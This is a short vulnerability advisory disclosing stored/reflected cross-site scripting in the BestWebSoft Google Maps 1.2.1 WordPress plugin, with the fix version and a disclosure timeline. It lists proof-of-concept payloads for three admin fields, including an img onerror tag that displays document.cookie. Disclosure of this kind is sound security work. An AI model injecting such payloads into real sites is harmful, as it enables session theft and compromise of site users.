WordPress BestWebSoft Google Maps 1.2.1 Cross Site Scripting

Credit: Madhu Akula
Risk: Low
Local: No
Remote: Yes

Plugin Name : BestWebSoft Google Maps Effected Version : 1.2.1 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : The following fields put the payload as below http://localhost/wp-admin/admin.php?page=gglmps_editor&noheader=true gglmps_map_title = ?><script>alert(1)</script> http://localhost/wp-admin/admin.php?page=bws-google-maps.php gglmps_main_api_key = ?><script>alert(3)</script> http://localhost/wp-admin/admin.php?page=bws-google-maps.php&action=go_pro bws_license_key = ?><img src=x onerror=prompt(document.cookie);> Vulnerable Parameter : gglmps_map_title, gglmps_main_api_key, bws_license_key Type of XSS : Reflected / Stored Fixed in : 1.2.2 http://wordpress.org/plugins/bws-google-maps/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : This plugin allows you to configure Google Maps and add them to your site quickly and easily. In the Google Maps Editor, you can configure basic settings and add any number of markers. In the Google Maps manager you can view the saved maps and edit them easily. With the help of the shortcode you can insert Google maps in posts and the widgets.

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